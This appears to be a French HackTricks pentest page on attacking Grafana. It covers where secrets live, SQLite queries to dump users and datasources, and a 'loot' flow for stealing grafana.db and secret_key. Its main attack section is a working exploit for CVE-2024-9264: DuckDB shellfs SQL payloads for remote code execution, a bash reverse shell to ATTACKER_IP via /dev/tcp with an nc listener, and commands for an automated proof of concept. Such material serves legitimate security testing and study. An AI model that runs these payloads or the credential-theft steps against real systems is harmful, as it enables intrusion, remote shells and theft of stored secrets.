Grafana

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Points intéressants

  • Le fichier de config principal se trouve généralement dans /etc/grafana/grafana.ini (Deb/RPM) et peut contenir des valeurs sensibles telles que admin_user, admin_password, secret_key, les paramètres OAuth, les identifiants SMTP, et les renderer tokens.
  • Par défaut Grafana stocke les données dans SQLite3 sous /var/lib/grafana/grafana.db.
  • Les fichiers de provisioning sont très intéressants après un accès à l’hôte :
  • /etc/grafana/provisioning/datasources/*.yaml
  • /etc/grafana/provisioning/plugins/*.yaml
  • L’expansion des variables d’environnement est prise en charge dans les fichiers de provisioning, donc leaked YAML révèle souvent à la fois des secrets et les noms des env vars qui les alimentent.
  • Les plugins installés se trouvent généralement sous /var/lib/grafana/plugins.
  • Depuis la plateforme, vous pouvez inviter des personnes, générer des API keys / service account tokens, lister les plugins, ou installer de nouveaux plugins selon le rôle.
  • Le navigateur est aussi une source d’informations : Grafana expose la configuration non secrète des datasources au frontend. Si vous avez une session Viewer (ou si l’anonymous access est activé), inspectez window.grafanaBootData depuis les DevTools.

Vérifications SQLite utiles:

.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;

Récupération des datasources et des secrets

Grafana sépare la configuration lisible par le navigateur des secrets chiffrés :

  • jsonData est visible aux utilisateurs dans le navigateur et suffit souvent à énumérer les hôtes internes, tenants, modes d’authentification, noms d’en-tête, régions AWS, index Elasticsearch, tenants Loki, URLs Prometheus et autres données de recon similaires.
  • secureJsonData est chiffré côté serveur et n’est plus lisible depuis le navigateur après la sauvegarde de la datasource.

Flux de post-exploitation :

  1. Dump grafana.ini et récupérer secret_key.
  2. Loot grafana.db et les fichiers de provisioning.
  3. Énumérer les datasources et la configuration des plugins pour trouver des identifiants réutilisables et des endpoints internes.
  4. Si vous migrez ou rejouez la base de données dans une autre instance Grafana, conservez le même secret_key sinon les mots de passe/tokens de datasource stockés ne se déchiffreront pas correctement.

Pourquoi secret_key est important dans les versions récentes :

  • Depuis Grafana v9, les secrets de la base de données utilisent le chiffrement par enveloppe.
  • Grafana chiffre les secrets avec des clés de chiffrement des données (DEKs), et ces DEKs sont chiffrées avec une clé de chiffrement de clé (KEK) dérivée de secret_key.
  • Du point de vue d’un attaquant, grafana.db + secret_key est la paire à voler.

Surface d’attaque des plugins

Traitez les plugins comme faisant partie de la cible, pas comme une note de bas de page :

  • Énumérez-les depuis le système de fichiers, depuis l’UI, ou via l’API :
curl -s http://grafana.target/api/plugins | jq '.[].id'
  • Les plugins plus anciens ou tiers étendent régulièrement la portée de Grafana vers des réseaux internes parce qu’ils font du proxy HTTP ou interagissent avec des fichiers/bases de données locaux.
  • Des exemples récents incluent SSRF dans le plugin Infinity (< 3.4.1) et des voies d’abus où le plugin Image Renderer transforme un autre bug en full-read SSRF.

CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI

La fonctionnalité expérimentale SQL Expressions de Grafana peut évaluer des requêtes DuckDB intégrant du texte contrôlé par l’utilisateur. Une désinfection insuffisante permet à des attaquants d’enchaîner des instructions DuckDB et de charger l’extension communautaire shellfs, qui expose des commandes shell via des fichiers virtuels alimentés par des pipes.

Impact

  • Tout utilisateur authentifié avec le rôle VIEWER ou supérieur peut obtenir l’exécution de code en tant qu’utilisateur OS de Grafana (souvent grafana ; parfois root à l’intérieur d’un conteneur) ou effectuer des lectures de fichiers locaux.
  • Préconditions couramment remplies dans les déploiements réels :
  • SQL Expressions activées : expressions.enabled = true
  • binaire duckdb présent dans le PATH du serveur

Vérifications rapides

  • Dans l’UI/API, parcourez les paramètres Admin (Swagger: /swagger-ui, endpoint /api/admin/settings) pour confirmer :
  • expressions.enabled est true
  • Optionnel : version, types de datasource, et paramètres généraux de durcissement
  • Shell sur l’hôte : which duckdb doit renvoyer un chemin pour que l’exploit suivant fonctionne.

Patron de requête manuel utilisant DuckDB + shellfs

  • Flux d’abus (2 requêtes) :
  1. Installer et charger l’extension shellfs, exécuter une commande, rediriger la sortie combinée vers un fichier temporaire via un pipe
  2. Relire le fichier temporaire à l’aide de read_blob

Exemples de payloads SQL Expressions envoyés à DuckDB:

-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');

Remplacez CMD par la commande souhaitée. Pour la lecture de fichiers (LFI) vous pouvez à la place utiliser les fonctions de fichiers de DuckDB pour lire les fichiers locaux.

Exemple de reverse shell en une seule ligne

bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"

Intégrez cela comme CMD dans la première requête tant que vous avez un listener : nc -lnvp 443.

PoC automatisé

Exemple d’utilisation

# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target

If output shows uid=0(root), Grafana is running as root (common inside some containers).

2025 client-side traversal / open redirect chain

La chaîne 2025 (Grafana client-side traversal / open-redirect) est déjà documentée dans des pages client-side plus générales. Utilisez ces techniques contre des chemins spécifiques à Grafana tels que plugin assets, dashboard script loaders, et token-rotation redirects:

Client Side Path Traversal

Open Redirect

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks